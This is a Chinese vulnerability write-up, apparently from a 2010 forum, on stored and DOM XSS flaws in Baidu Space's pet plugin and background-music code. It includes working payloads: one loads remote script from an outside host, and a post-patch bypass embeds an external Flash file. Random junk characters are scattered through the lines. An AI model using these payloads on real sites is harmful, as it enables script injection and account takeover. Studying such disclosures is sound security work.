百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. + m. F' v3 k1 F
: _, G! D& v2 \* T1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
% O! F4 S( O/ K8 C+ F( m2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 + Y2 z, n# M3 }/ F x3 _4 S
2 B- u9 f7 M4 D7 ]将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 0 g7 h6 x: H+ }: @
其中BdUtil.insertWBR为 2 e& e5 a5 e; u) E' k* V/ z
function(text, step) { 4 [9 Y- p/ D Z. C
var textarea = textAreaCache || getContainer(); ; D0 K) j: m0 Y& `- s
if (!textarea) {
1 Y# `, Z1 A& {+ H4 G return text; ; q5 J6 l$ I% P( e" d8 R$ t v
}
1 L6 K, w3 g' |/ ]/ h textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
( T* I' q D3 ?! }) Z& n! S var string = textarea.value;
4 }% p6 z% d9 {. D5 ] var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
- p4 Y+ m1 r' N: @ var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); , n" u4 L% _. H# e$ Y
return result;
: ^ m4 v: d& `& j, j} & _6 R z2 w$ {+ S
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
$ m" k) O; e, p测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
: n- i" ?3 k- P! A7 o
2 e8 w6 M" z4 j5 e/ @二:creatbgmusic() Dom-Xss Bug % H* e$ T8 e3 O' |
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 % Z2 | \4 `$ @# L' {! b7 z
" Z' o$ b; z, m9 P在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
- O& ~! h) @$ u. a
' ]0 I/ S# u4 _function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { % i6 a2 c4 p) e& H0 ~
//传入的murl赋值到bgmusic1和bgmusic2中 ) O" L/ I# w3 ?! F: X
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 : B/ S! T/ `2 ?0 j8 L) B1 W4 U: g
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
5 i- |7 i3 l, P; o if (musicnum <= 1) {
3 Z; c" D9 a- x* Y7 ?5 d, G9 |' r9 {$ Y% v bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 4 o C) y, Z* J
}
& N. _; A7 O e) y0 F1 H bgmusic1 += "</OBJECT>"; ) @! x* P! ]% p D2 W! x/ Z* R
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
* G& S* d2 I2 z4 ` if (musicnum <= 1) {
( ?$ J- u8 q4 w' }* A0 z$ {& g bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; [4 v; o- f) d, l# b. B3 ~, _
}
4 G4 e. r# V9 Y$ T bgmusic2 += "> </EMBED>"; : a; f* K0 P% L: N; V
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
, T4 {1 @! O: Z( z; G1 F var bgmus = detectWMP();
/ X9 E7 q* b0 S7 W- E if (functype == "FckMusicHelper") { * M0 e9 @* O% H3 [+ e! k8 b
if (bgmus.installed) { ' R$ Y! x- v* V) K& _* Z
if (bgmus.type == "IE") {
: |( T; e8 L7 Y return bgmusic1; / L d, C- u' E5 n& h% n8 [
} else if (bgmus.type == "NS") {
. f) P: V, J* |% O return bgmusic2; ! S( ~& D. C5 D
} 6 ~4 W, z ^9 j3 ^' D) D" P# ]
} else { 4 j% ` f, B' i1 N; }* v
return bgmusic3; ) Y# q+ ?4 t! \* A! f2 e
} 0 p- U9 A: y* E7 c
} else {
+ _8 ]" n. h( b4 {% S+ ]9 C if (bgmus.installed) {
, _/ r% W0 U K% A' C& M" q //document.write 直接输出bgmusic变量 导致xss
* O8 u8 S0 F5 ~: y8 C% | if (bgmus.type == "IE") {
, g$ g# R& a* J5 C document.write(bgmusic1);
; `! C- |; Y* o* V/ [* M" D; K3 L } else if (bgmus.type == "NS") {
+ Y! { p" q9 u0 k, C3 r! m document.write(bgmusic2); 7 `- O9 F. `6 g: k1 a `' ^ i, W5 V
} 2 k2 o$ @+ ]+ z. _/ Y* y! p* i( W
} else { ! [6 Y- \ e. Q
document.write(bgmusic3); 0 _/ O8 ]; \* A) O, W# M. H6 ~. D
} % T7 k8 r X. ^6 m; f# V" F
return ""; ; V5 t0 B2 K( t! F
} 7 \' R8 h1 O8 R
} , e! O o* |6 N" t& I
7 S' a, s0 Q3 A: ]7 X+ |. N" j4 w, H0 N
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 2 R0 r9 |, k8 x" s, o
0 o T1 V8 h" Hfunction initBlogTextForFCK(){ ) M4 Q; F1 D, S
//fck init music
& r3 M4 z) r' c# }0 V; M+ pif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} * y: U* X- }6 j8 J! v
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ( |# j: ^$ p4 `$ p( m4 w; _
var isAutoPlay=true; ; w, G+ F3 A5 V& q' O( I4 v. c) Y
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. " e! W ~7 _2 V
var img=imgBox; : s/ G; x4 m8 i6 U: c6 ?
if(img.getAttribute(’rel’)){
$ C. f1 ?- B" i* ? var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc & q' G* X% G7 v0 w/ F' j
var musicDiv = document.createElement("SPAN"); 2 j! P/ h. w8 g9 h# Q
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
f* Z S& H( [6 f
8 O$ y# }5 T# ~+ d( i; c: j- b ..........................
* K# F1 W1 I( @* B! y4 a9 R. k
6 S0 ~6 @9 O _" U+ u7 q //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* x. A+ K& U3 z. b1 n, L var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 5 a( u+ ~& }: p5 I0 w$ l) E
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
2 C0 o: r1 o! I e musicDiv.innerHTML=shtml;
" w) i; z# ~1 b! [2 B i--;n--; ) K/ A4 E/ S7 Y7 k7 J
} % B, S' K/ N! R3 B, W
} 8 h5 ~3 m' P/ C6 T' B: }5 H# o7 N
5 o" P* D! E/ X
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
* b# M; a4 d8 n5 r5 _+ M* O
# e! N4 K0 d3 J. Z' p. [测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
S$ X9 b: m4 _! e9 C5 S8 a
3 P* a0 n1 ~; f; B4 a% t等待官方补丁 8 N# _3 C# [) L/ H0 W
* Y& Q$ m1 z5 A/ c% |
update 2010年5月13日
; U$ Z, G$ h# W8 L; a# E3 O6 }8 K4 t/ h! A) l
官方补丁: # V5 Y9 ?! T ~/ b
' J* f6 p2 O$ N1 d* W
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) n' P' p" z% i( |& g( [% L
改为: & z# \. g2 q+ \" O$ c
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
( B$ o$ [4 m) V* v/ a2 F% B9 b3 L1 }0 C1 r
update 2010年5月13日 21:50:37 0 p# F3 R/ f0 L8 _. X. r8 |
4 c) K1 m. {$ _. O5 z
补丁存在漏洞 没有过滤" 可以继续跨: # j9 c2 P% X1 a7 L- F1 S& ?# H: t
# k1 N+ X: u& a: qNEW POC: , f* U/ H9 ^% n
1 Q* ?( J# h/ _& N% R
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
% [- T7 @! @) K& |1 C
, Q. B* O L" [- O- B! hallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>, W6 i+ b; b* j7 F6 ]2 P$ G0 p
. N- |0 s: c6 D4 |: e# L3 P |